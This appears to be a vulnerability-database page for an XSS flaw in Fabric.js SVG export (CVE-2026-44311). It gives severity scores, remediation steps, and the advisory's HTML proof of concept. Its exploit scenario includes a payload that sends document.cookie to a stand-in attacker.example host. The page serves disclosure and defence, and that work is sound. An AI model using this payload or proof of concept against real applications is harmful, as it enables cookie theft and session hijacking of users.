Skip to main content

Fabric.js CVE-2026-44311

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-12 https://github.com/fabricjs/fabric.js GHSA-w22m-hvvm-xmwx
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply malicious color value to fabric.Gradient colorStops
  2. Delivery
    Application calls canvas.toSVG() serializing unescaped payload
  3. Exploit
    Payload breaks out of stop-color attribute in SVG markup
  4. Execution
    Application renders SVG string via innerHTML into DOM
  5. Impact
    Injected onerror or similar handler executes arbitrary JavaScript in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must all be present simultaneously: (1) An attacker must be able to supply or influence the color field within a colorStops array of a fabric.Gradient object - possible in applications that accept user-defined gradient parameters, such as collaborative design tools or form-driven canvas editors. (2) The application must invoke canvas.toSVG() to serialize canvas state to an SVG string. (3) The resulting SVG string must be injected into the live DOM via innerHTML, outerHTML, document.write, or an equivalent unsafe DOM API - not via <img src> with a Blob URL, SVG <use>, or a sanitizing helper. Applications that only display SVG through safe rendering paths, or that sanitize the SVG string before DOM insertion, are not exploitable. The vulnerability does not execute through the <canvas> element itself and requires a victim to load the page or document containing the malicious gradient.

Impact

The CVSS 3.1 base score of 5.4 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N accurately captures the two critical constraints that limit real-world exploitability: a victim must interact (UI:R) and the application must use an unsafe rendering pattern (innerHTML injection of exported SVG). Despite PR:N indicating no attacker authentication is required to supply the malicious payload, successful exploitation demands an application architecture where untrusted users control gradient color values AND the SVG export is rendered unsanitized - a non-default but plausible pattern in collaborative canvas editors or document-export tools. The EPSS score of 0.04% at the 11th percentile is consistent with the chained conditions despite the public PoC, indicating that vulnerable deployments represent a limited target surface and exploitation has not spread broadly. Absence from CISA KEV reinforces this as a medium-urgency issue for most organizations; teams running collaborative or multi-user canvas applications should treat it as higher priority.

Exploit ScenarioDerived

An attacker using a collaborative canvas application (e.g., a design tool or document editor) submits a gradient definition with a malicious color value such as red"><img src="x" onerror="fetch('https://attacker.example/steal?c='+document.cookie)">. When another user opens the shared document and the application calls canvas.toSVG() then sets div.innerHTML = svgOutput, the injected payload executes in the victim's browser session, exfiltrating cookies or performing actions on their behalf. A working PoC reproducing this exact flow against v7.2.0 is publicly available in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Cross-site scripting in Fabric.js (npm: fabric) versions prior to 7.4.0 is triggered when applications export canvas content via canvas.toSVG() and render the result into the DOM using innerHTML. The color field within colorStops of a fabric.Gradient object is inserted into SVG <stop> elements without escaping ", <, or >, allowing crafted input to break attribute context and inject arbitrary HTML. A working proof-of-concept is publicly confirmed against v7.2.0; no active exploitation appears in CISA KEV, and the EPSS score of 0.04% reflects low observed exploitation breadth consistent with the chained conditions required.

RemediationAI

Vendor-released patch: 7.4.0. Upgrade the fabric npm package to v7.4.0 or later by running npm install fabric@7.4.0 (or the equivalent for yarn/pnpm); the fix is confirmed in the official release notes at https://github.com/fabricjs/fabric.js/releases/tag/v740, which explicitly cites CVE-2026-44311. For applications that cannot immediately upgrade, the most effective compensating control is to sanitize the SVG output before DOM injection using DOMPurify (DOMPurify.sanitize(canvas.toSVG()) before assigning to innerHTML), which neutralizes injected event-handler payloads without requiring a library upgrade. An alternative safe-rendering path is to avoid innerHTML entirely by rendering the SVG via URL.createObjectURL(new Blob([svgOutput], {type: 'image/svg+xml'})) and setting that as the src of an <img> element - this prevents script execution regardless of SVG content. Relying solely on Content Security Policy is not recommended as a primary mitigation because misconfigured or legacy CSP headers permitting unsafe-inline or broad script sources may not block injected onerror-style handlers.

Affected Packages

npm fabric fix: 7.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Fabric.js is a JavaScript HTML5 canvas library distributed as the fabric npm package (pkg:npm/fabric). Its SVG serialization subsystem converts canvas objects into SVG markup via canvas.toSVG(), generating <stop> elements for fabric.Gradient instances. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the color property of each colorStops entry is interpolated directly into the stop-color attribute string without HTML/attribute-context escaping of special characters (", <, >). This allows an attacker-controlled string such as red"><img src="x" onerror="alert(1)"> to close the attribute and containing element, injecting arbitrary markup into the serialized SVG. The injected code only executes when the consuming application writes this SVG string into the live DOM - for example, via element.innerHTML = canvas.toSVG() - rather than using a safe rendering path such as a Blob URL with an <img> tag.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Network-reachable with no attacker auth required, but victim must render SVG via innerHTML (UI:R); limited C/I reflects XSS session-theft scope with no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 26, 2026 - 20:22 NVD
5.4 (MEDIUM) 6.1 (MEDIUM)

DescriptionNVD

Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.

Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.

Details

During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:

xml
<stop offset="0" stop-color="..."></stop>

However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup.

For example:

js
color: 'red"><img src="x" onerror="alert(1)">'

may result in:

xml
<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">

This breaks the intended SVG structure and introduces executable HTML.

PoC (Proof of Concept)

Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:

html
<!DOCTYPE html>
<html>
<head>
   <title>Fabric.js SVG Export XSS Bypass Test</title>
   <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script>
</head>
<body>
   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
   <canvas id="c" width="400" height="300"></canvas>

   <h3>SVG Output Rendering:</h3>
   <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

   <script>
       setTimeout(() => {
           const canvas = new fabric.Canvas('c');

           // Construct a malicious gradient object
           const maliciousGradient = new fabric.Gradient({
               type: 'linear',
               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
               colorStops: [
                   {
                       offset: 0,
                       // Inject XSS payload to prematurely close the attribute/tag
                       color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
                   },
                   { offset: 1, color: 'blue' }
               ]
           });

           const rect = new fabric.Rect({
               left: 50, top: 50, width: 300, height: 100,
               fill: maliciousGradient
           });

           canvas.add(rect);

           // Export to SVG string containing the malicious code
           const svgOutput = canvas.toSVG();

           // Render on the page to trigger the XSS
           document.getElementById('svg-output').innerHTML = svgOutput;
       }, 100);
   </script>
</body>
</html>

Impact

This issue can lead to XSS in applications that:

  1. Allow user-controlled input in gradient definitions (e.g., color values)
  2. Use canvas.toSVG() to export content
  3. Insert the resulting SVG string into the DOM without sanitization (e.g., via innerHTML)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

Suggested Fix

Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)NVD

pkg:npm/fabric
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy